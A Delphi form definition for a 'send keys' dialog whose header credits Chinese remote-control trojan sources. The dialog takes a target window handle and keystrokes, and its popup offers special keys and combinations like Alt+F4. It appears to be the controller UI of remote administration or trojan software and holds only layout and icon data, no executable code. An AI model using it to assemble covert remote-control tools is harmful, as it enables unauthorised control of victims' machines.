unitformsendkeys.dfm

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

object FormSendKeys: TFormSendKeys
  Left = 390
  Top = 184
  BorderIcons = [biSystemMenu, biMinimize]
  BorderStyle = bsSingle
  Caption = #38190#30424#21457#36865
  ClientHeight = 154
  ClientWidth = 276
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OldCreateOrder = False
  OnShow = FormShow
  PixelsPerInch = 96
  TextHeight = 13
  object BtnEnviar: TSpeedButton
    Left = 192
    Top = 120
    Width = 73
    Height = 25
    Caption = #21457#36865'(Send)'
    Flat = True
    Glyph.Data = {
      06030000424D060300000000000036000000280000000F0000000F0000000100
      180000000000D0020000C40E0000C40E00000000000000000000FFFFFFFFFFFF
      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
      FFFFFFFFFFFFFF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
      FFFFFFFFFF148732037B1EFBFDFBFFFFFFFFFFFFFFFFFF000000FFFFFFFFFFFF
      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF158D3C43A15F33954CF9FC
      FAFFFFFFFFFFFF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF2398521D924A17
      9044118C3D3A9F5E80C19646A3622E9447F8FBF9FFFFFF000000FFFFFFFFFFFF
      FFFFFFFFFFFFFFFFFF299B5B90CAA98DC8A58AC6A188C59E6AB68582C29748A5
      66289144F6FAF7000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF319F6394CDAD6F
      BA8E6BB88966B68561B38067B58283C2983CA05C06822A000000FCFCFCDBDBDB
      6161616B6B6B70707037A36B96CEB094CDAD91CBAA90CBA874BC908AC7A146A5
      680B8938FFFFFF000000DDDDDD696969949494B0B0B0AEAEAE3DA56F38A26D34
      A067319D6255AF7C91CBAA4FAB74198E46DCDCDCFFFFFF000000A9A9A9717171
      CFCFCF8181814545454646465151515151514646463298605AB3812898577171
      71A9A9A9FFFFFF000000909090868686D3D3D3F8F8F8484848BDBDBDCECECEC2
      C2C2ADADAD399C69319F65D3D3D3868686909090FFFFFF000000C0C0C07B7B7B
      D8D8D88888884D4D4D6565659292927979796565654D4D4D888888B2B2B27B7B
      7BC0C0C0FFFFFF000000FAFAFA9E9E9E919191E8E8E8DDDDDDC1C1C19191919B
      9B9BDADADADDDDDDC4C4C49191919E9E9EFAFAFAFFFFFF000000FFFFFFF7F7F7
      BBBBBB8D8D8D9E9E9E8B8B8BDFDFDFF1F1F18D8D8D9E9E9E8D8D8DBBBBBBF7F7
      F7FFFFFFFFFFFF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000FFFFFFFFFFFF
      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
      FFFFFFFFFFFFFF000000}
    OnClick = BtnEnviarClick
  end
  object LabelHandle: TLabel
    Left = 6
    Top = 12
    Width = 45
    Height = 13
    Caption = 'Handle'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clBackground
    Font.Height = -11
    Font.Name = 'Verdana'
    Font.Style = [fsBold]
    ParentFont = False
  end
  object BtnEspeciales: TSpeedButton
    Left = 152
    Top = 8
    Width = 113
    Height = 22
    Caption = #38190#30424
    Flat = True
    Glyph.Data = {
      36030000424D3603000000000000360000002800000010000000100000000100
      18000000000000030000C40E0000C40E00000000000000000000FF00FFFF00FF
      FF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FF196B37196B37196B
      37196B37196B37FF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF
      00FFFF00FF196B37288C5364BA8D95D2B264BA8D288C53196B37EAC5A4E7C09F
      E3BC9AE0B795DDB28FD9AE8AD6A985D3A57FD0A07B216E3B62BA8B60BA87FFFF
      FF60B98767BC8F1E6C38EECBABE8D5C8E8D4C5E7D2C3E5D0C1E5CEBEE3CCBCE3
      CAB9E2C9B7317B4C9CD4B6FFFFFFFFFFFFFFFFFF95D2B2196B37F2D0B1EAD8CC
      FCFCFCDABAA4FCFCFCFCFCFCFCFCFCFCFCFCFCFCFC4A8B6290D3B192D6B1FFFF
      FF65BC8C67BC8F1E6C39F5D4B6ECDCD0DEC3AFDDBFABDBBDA7D9BAA3D8B79FD6
      B49CD5B197929E7E61AB8195D4B4BAE6D06ABB8F2D8F57677E50F8D8BBEDDED4
      FCFCFCFCFCFCDEC2AEFCFCFCDBBCA6FCFCFCD8B69EFCFCFC99A2846099754F8E
      664A8A618AA181CA9972FADCBFEEE0D6E3CBBAE2C9B8E0C6B4DFC4B1DEC2ADDC
      BFAADABCA6D9B9A2D7B69ED6B39AE9D6CAFCFCFCE3CBBACE9D77FCDEC1EFE2D8
      FCFCFCE4CCBCFCFCFCE1C9B7FCFCFCDFC3B0FCFCFCDCBEA9FCFCFCD9B8A1FCFC
      FCF7F3F0E5CEBED1A27DFCDEC1EFE2D8EFE2D8EFE2D8EEE1D7EEE0D6EEDFD4ED
      DDD2ECDCD1EBDACEEAD8CCEAD7CAE8D5C7E7D3C5E7D1C2D5A883FCDEC1FCDEC1
      BBB9B6B3B1AEFADBBEF8D8BBF6D5B7F3D2B3F0CEAEEDC9AAEAC5A4E7C09FE3BC
      9AE0B795DDB28FD9AE8AFF00FFFF00FFC4C4C4BCBCBCB3B3B3FF00FFFF00FFFF
      00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FF
      D0D0D0C9C9C9C2C2C2FF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00
      FFFF00FFFF00FFFF00FFFF00FFFF00FFD9D9D9D4D4D4CFCFCFC8C8C8C0C0C0B7
      B7B7AEAEAEA4A4A49B9B9B919191878787FF00FFFF00FFFF00FFFF00FFFF00FF
      FF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00
      FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF
      00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FFFF00FF}
    PopupMenu = PopupSendKeys
    OnClick = BtnEspecialesClick
  end
  object MemoSendKeys: TMemo
    Left = 8
    Top = 56
    Width = 257
    Height = 57
    BevelInner = bvNone
    BevelKind = bkFlat
    BorderStyle = bsNone
    Lines.Strings = (
      'MemoSendKeys')
    ScrollBars = ssHorizontal
    TabOrder = 0
  end
  object EditTitulo: TEdit
    Left = 8
    Top = 32
    Width = 257
    Height = 21
    BevelInner = bvNone
    BevelKind = bkFlat
    BevelOuter = bvRaised
    BorderStyle = bsNone
    ReadOnly = True
    TabOrder = 1
  end
  object EditHandle: TEdit
    Left = 56
    Top = 8
    Width = 89
    Height = 21
    BevelInner = bvNone
    BevelKind = bkFlat
    BevelOuter = bvRaised
    BorderStyle = bsNone
    ReadOnly = True
    TabOrder = 2
  end
  object PopupSendKeys: TPopupMenu
    Left = 16
    Top = 120
    object Enter1: TMenuItem
      Caption = 'Enter'
      OnClick = Enter1Click
    end
    object Shift1: TMenuItem
      Caption = 'Shift'
      OnClick = Shift1Click
    end
    object Control1: TMenuItem
      Caption = 'Control'
      OnClick = Control1Click
    end
    object Alt1: TMenuItem
      Caption = 'Alt'
      OnClick = Alt1Click
    end
    object Retroceso1: TMenuItem
      Caption = 'Retroceso'
      OnClick = Retroceso1Click
    end
    object Escape1: TMenuItem
      Caption = 'Esc'
      OnClick = Escape1Click
    end
    object Suprimir1: TMenuItem
      Caption = 'Del'
      OnClick = Suprimir1Click
    end
    object N1: TMenuItem
      Caption = '-'
    end
    object Combinaciones1: TMenuItem
      Caption = #32452#21512#38190
      object AltF4Cerrarventana1: TMenuItem
        Caption = 'Alt + F4 '
        OnClick = AltF4Cerrarventana1Click
      end
      object ControlEscapeAbrirMenInicio1: TMenuItem
        Caption = 'Control + Esc'
        OnClick = ControlEscapeAbrirMenInicio1Click
      end
    end
    object N2: TMenuItem
      Caption = '-'
    end
    object Msinformacin1: TMenuItem
      Caption = #20449#24687'...'
    end
  end
end